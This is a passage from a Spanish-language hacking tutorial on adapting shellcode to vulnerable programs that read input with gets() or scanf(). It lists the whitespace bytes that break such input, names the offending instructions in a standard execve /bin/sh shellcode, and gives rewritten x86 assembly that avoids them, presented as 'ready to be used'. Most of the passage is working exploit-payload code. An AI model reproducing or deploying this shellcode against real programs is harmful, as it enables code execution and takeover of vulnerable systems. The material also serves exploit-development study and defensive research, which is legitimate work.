de carro ni nada parecido. Un caso muy claro de esto es cuando el programa
vulnerable utiliza una llamada a 'gets()' para leer el string que luego se
copiara a un buffer, etc. En este caso si la shellcode contienen un retorno
de linea el programa finalizara la ejecucion de 'gets()' y la scode quedara
a medias, siendo obvio que cuando se ejecute no funcionara correctamente..
suficiente. Me estoy refiriendo a cuando el programa vulnerable lee los datos
con una llamada a 'scanf()'. Como todos sabemos, scanf solo lee hasta que se
encuentra un retorno de linea o un espacio en blaco. Resumiendo, necesitamos
una shellcode que no contenga ni retornos de linea ni espacios en blanco. La
lista de caracteres que no debe tener es la siguiente:
+ '\n', 0x0a, salto de linea.
+ '\r', 0x0d, salto de carro.
+ '\v', 0x0b, tabulacion vertical.
+ '\t', 0x09, tabulacion horizontal.
+ ' ', 0x20, espacio en blanco.
Normalmente la tipica shellcode que ejecuta una shell contiene 2 saltos de
linea, 1 tabulacion vertical y 2 espacios atras. La solucion consiste en
cambiar las instruccion conflictivas por otras cuyos 'opcodes' no tengan esos
valores. La instrucciones en cuestion son las siguientes (estan sacadas de
un codigo mas o menos standard de un execve /bin/sh):
+ mov %eax,0xc(%esi) --> 1 salto de linea
+ lea 0xc(%esi),%edx --> 1 salto de linea
+ mov $0xb,%al --> 1 tabulacion vertical
+ mov %esi,0x8(%esi) --> 1 espacio atras
+ lea 0x8(%esi),%ecx --> 1 espacio atras
Pues bien, se cambian esas instrucciones por otras que consigan el mismo
resultado y ya esta.. El codigo cambiado seria algo asi:
<-- codigo -->
jmp 0x19
popl %edi
movl %edi,0x10(%edi)
xorl %edx,%edx
movb %dl,0x7(%edi)
movl %edx,0x14(%edi)
movl %edi,%ebx
leal 0x50(%edx),%eax
leal 0x10(%edi),%ecx
subl $0x45,%eax
int $0x80
call -0x1e
.string \"/bin/sh\"
");
Simplemente se ha cambiado el registro %esi por %edi, el metodo de poner %eax
a 0xb y poco mas. Y nada.. ya esta la shellcode lista para ser usada.. ;).